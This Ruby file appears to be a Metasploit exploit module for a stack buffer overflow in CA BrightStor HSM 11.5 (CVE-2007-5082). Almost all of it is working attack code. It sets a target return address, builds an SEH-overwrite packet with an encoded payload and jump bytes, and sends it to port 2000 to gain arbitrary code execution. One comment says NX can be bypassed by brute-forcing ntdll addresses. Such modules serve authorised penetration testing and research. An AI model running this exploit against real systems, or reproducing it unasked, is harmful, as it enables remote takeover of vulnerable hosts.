78 lines
2.0 KiB
Ruby
78 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor HSM Buffer Overflow',
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'Description' => %q{
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This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.
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By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
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},
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'Author' => [ 'toto' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-5082' ],
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[ 'OSVDB', '41363' ],
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[ 'BID', '25823' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1026,
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'BadChars' => "\x00\x0a\x0d;",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# NX can be bypassed by bruteforcing ntdll addresses as the process is restarted
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# pop/pop/ret in fpparser.dll (old from 2004)
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[ 'BrightStor HSM 11.5 Windows All', { 'Ret' => 0x12014c78 } ],
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],
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'DisclosureDate' => 'Sep 27 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(2000)
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], self.class)
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end
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def exploit
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connect
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data =
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[42,7,0,0].pack('VVVV') +
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payload.encoded +
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"\xeb\x06" +
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Rex::Text.rand_text_alphanumeric(2) +
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[ target.ret ].pack('V') +
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"\xe9\xf1\xfb\xff\xff" +
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Rex::Text.rand_text_alphanumeric(0x100)
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sploit = [data.length + 4].pack('V') + data
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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